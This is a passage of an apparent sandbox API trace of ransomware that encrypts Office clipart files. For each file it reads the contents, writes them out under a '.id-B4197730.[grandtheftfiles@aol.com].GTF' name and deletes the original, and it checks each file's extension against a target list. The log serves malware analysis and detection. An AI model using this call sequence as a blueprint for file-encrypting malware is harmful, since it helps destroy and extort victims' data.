	[0090.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.735] lstrlenW (lpString=".rar") returned 4
	[0090.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString=".bz2") returned 4
	[0090.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString=".7z") returned 3
	[0090.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.735] lstrlenW (lpString=".dbf") returned 4
	[0090.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.735] lstrlenW (lpString=".1cd") returned 4
	[0090.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68
	[0090.735] lstrlenW (lpString=".jpg") returned 4
	[0090.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.735] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0090.735] lstrlenW (lpString="J0099150.JPG") returned 12
	[0090.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.736] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=21914) returned 1
	[0090.736] CloseHandle (hObject=0x39c) returned 1
	[0090.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0090.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0090.737] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.737] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0090.737] GetLastError () returned 0x0
	[0090.737] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x559a, lpOverlapped=0x0) returned 1
	[0090.967] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0090.968] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.968] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.968] SetEndOfFile (hFile=0x384) returned 1
	[0091.219] CloseHandle (hObject=0x384) returned 1
	[0091.219] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.219] SetEndOfFile (hFile=0x39c) returned 1
	[0091.228] CloseHandle (hObject=0x39c) returned 1
	[0091.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.238] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0091.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString=".doc") returned 4
	[0091.239] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.239] lstrlenW (lpString=".docx") returned 5
	[0091.239] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0091.239] lstrlenW (lpString=".pdf") returned 4
	[0091.239] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.239] lstrlenW (lpString=".xls") returned 4
	[0091.239] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.239] lstrlenW (lpString=".xlsx") returned 5
	[0091.239] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0091.239] lstrlenW (lpString=".ppt") returned 4
	[0091.239] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString=".zip") returned 4
	[0091.239] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.239] lstrlenW (lpString=".rar") returned 4
	[0091.239] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.239] lstrlenW (lpString=".bz2") returned 4
	[0091.239] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.239] lstrlenW (lpString=".7z") returned 3
	[0091.239] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString=".dbf") returned 4
	[0091.239] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString=".1cd") returned 4
	[0091.239] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString=".jpg") returned 4
	[0091.239] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.240] lstrlenW (lpString=".doc") returned 4
	[0091.240] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.240] lstrlenW (lpString=".docx") returned 5
	[0091.240] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0091.240] lstrlenW (lpString=".pdf") returned 4
	[0091.240] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.240] lstrlenW (lpString=".xls") returned 4
	[0091.240] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.240] lstrlenW (lpString=".xlsx") returned 5
	[0091.240] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0091.240] lstrlenW (lpString=".ppt") returned 4
	[0091.240] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.240] lstrlenW (lpString=".zip") returned 4
	[0091.240] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.240] lstrlenW (lpString=".rar") returned 4
	[0091.240] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.240] lstrlenW (lpString=".bz2") returned 4
	[0091.240] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.240] lstrlenW (lpString=".7z") returned 3
	[0091.240] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.240] lstrlenW (lpString=".dbf") returned 4
	[0091.240] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.240] lstrlenW (lpString=".1cd") returned 4
	[0091.240] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0091.240] lstrlenW (lpString=".jpg") returned 4
	[0091.240] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.240] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.240] lstrlenW (lpString="J0099167.JPG") returned 12
	[0091.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.241] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=43949) returned 1
	[0091.241] CloseHandle (hObject=0x39c) returned 1
	[0091.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220
	[0091.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.242] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.242] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.242] GetLastError () returned 0x0
	[0091.242] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xabad, lpOverlapped=0x0) returned 1
	[0091.256] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xabb0, lpOverlapped=0x0) returned 1
	[0091.258] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.258] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.258] SetEndOfFile (hFile=0x384) returned 1
	[0091.258] CloseHandle (hObject=0x384) returned 1
	[0091.258] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.258] SetEndOfFile (hFile=0x39c) returned 1
	[0091.259] CloseHandle (hObject=0x39c) returned 1
	[0091.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1
	[0091.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.260] lstrlenW (lpString=".doc") returned 4
	[0091.260] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.260] lstrlenW (lpString=".docx") returned 5
	[0091.260] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0091.260] lstrlenW (lpString=".pdf") returned 4
	[0091.260] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.260] lstrlenW (lpString=".xls") returned 4
	[0091.260] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.260] lstrlenW (lpString=".xlsx") returned 5
	[0091.260] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0091.260] lstrlenW (lpString=".ppt") returned 4
	[0091.260] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.260] lstrlenW (lpString=".zip") returned 4
	[0091.260] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.260] lstrlenW (lpString=".rar") returned 4
	[0091.260] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.260] lstrlenW (lpString=".bz2") returned 4
	[0091.260] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.260] lstrlenW (lpString=".7z") returned 3
	[0091.260] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.260] lstrlenW (lpString=".dbf") returned 4
	[0091.260] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.260] lstrlenW (lpString=".1cd") returned 4
	[0091.260] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.260] lstrlenW (lpString=".jpg") returned 4
	[0091.260] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.261] lstrlenW (lpString=".doc") returned 4
	[0091.261] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.261] lstrlenW (lpString=".docx") returned 5
	[0091.261] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0091.261] lstrlenW (lpString=".pdf") returned 4
	[0091.261] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.261] lstrlenW (lpString=".xls") returned 4
	[0091.261] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.261] lstrlenW (lpString=".xlsx") returned 5
	[0091.261] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0091.261] lstrlenW (lpString=".ppt") returned 4
	[0091.261] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.261] lstrlenW (lpString=".zip") returned 4
	[0091.261] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.261] lstrlenW (lpString=".rar") returned 4
	[0091.261] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.261] lstrlenW (lpString=".bz2") returned 4
	[0091.261] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.261] lstrlenW (lpString=".7z") returned 3
	[0091.261] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.261] lstrlenW (lpString=".dbf") returned 4
	[0091.261] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.261] lstrlenW (lpString=".1cd") returned 4
	[0091.262] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68
	[0091.262] lstrlenW (lpString=".jpg") returned 4
	[0091.262] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.262] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0091.262] lstrlenW (lpString="J0099169.WMF") returned 12
	[0091.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.262] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=10192) returned 1
	[0091.262] CloseHandle (hObject=0x39c) returned 1
	[0091.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220
	[0091.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.263] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.263] GetLastError () returned 0x0
	[0091.263] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x27d0, lpOverlapped=0x0) returned 1
	[0091.271] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x27e0, lpOverlapped=0x0) returned 1
	[0091.272] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.272] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.272] SetEndOfFile (hFile=0x384) returned 1
	[0091.272] CloseHandle (hObject=0x384) returned 1
	[0091.272] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.272] SetEndOfFile (hFile=0x39c) returned 1
	[0091.273] CloseHandle (hObject=0x39c) returned 1
	[0091.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1
	[0091.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.274] lstrlenW (lpString=".doc") returned 4
	[0091.274] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString=".docx") returned 5
	[0091.274] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0091.274] lstrlenW (lpString=".pdf") returned 4
	[0091.274] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString=".xls") returned 4
	[0091.274] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.274] lstrlenW (lpString=".xlsx") returned 5
	[0091.274] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0091.274] lstrlenW (lpString=".ppt") returned 4
	[0091.274] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.274] lstrlenW (lpString=".zip") returned 4
	[0091.274] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.274] lstrlenW (lpString=".rar") returned 4
	[0091.274] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString=".bz2") returned 4
	[0091.274] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString=".7z") returned 3
	[0091.274] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.274] lstrlenW (lpString=".dbf") returned 4
	[0091.274] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.274] lstrlenW (lpString=".1cd") returned 4
	[0091.274] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString=".jpg") returned 4
	[0091.275] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68
	[0091.275] lstrlenW (lpString=".doc") returned 4
	[0091.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString=".docx") returned 5
	[0091.275] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0091.275] lstrlenW (lpString=".pdf") returned 4
	[0091.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.275] lstrlenW (lpString=".xls") returned 4
	[0091.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.275] lstrlenW (lpString=".xlsx") returned 5
	[0091.275] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0091.275] lstrlenW (lpString=".ppt") returned 4
	[0091.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
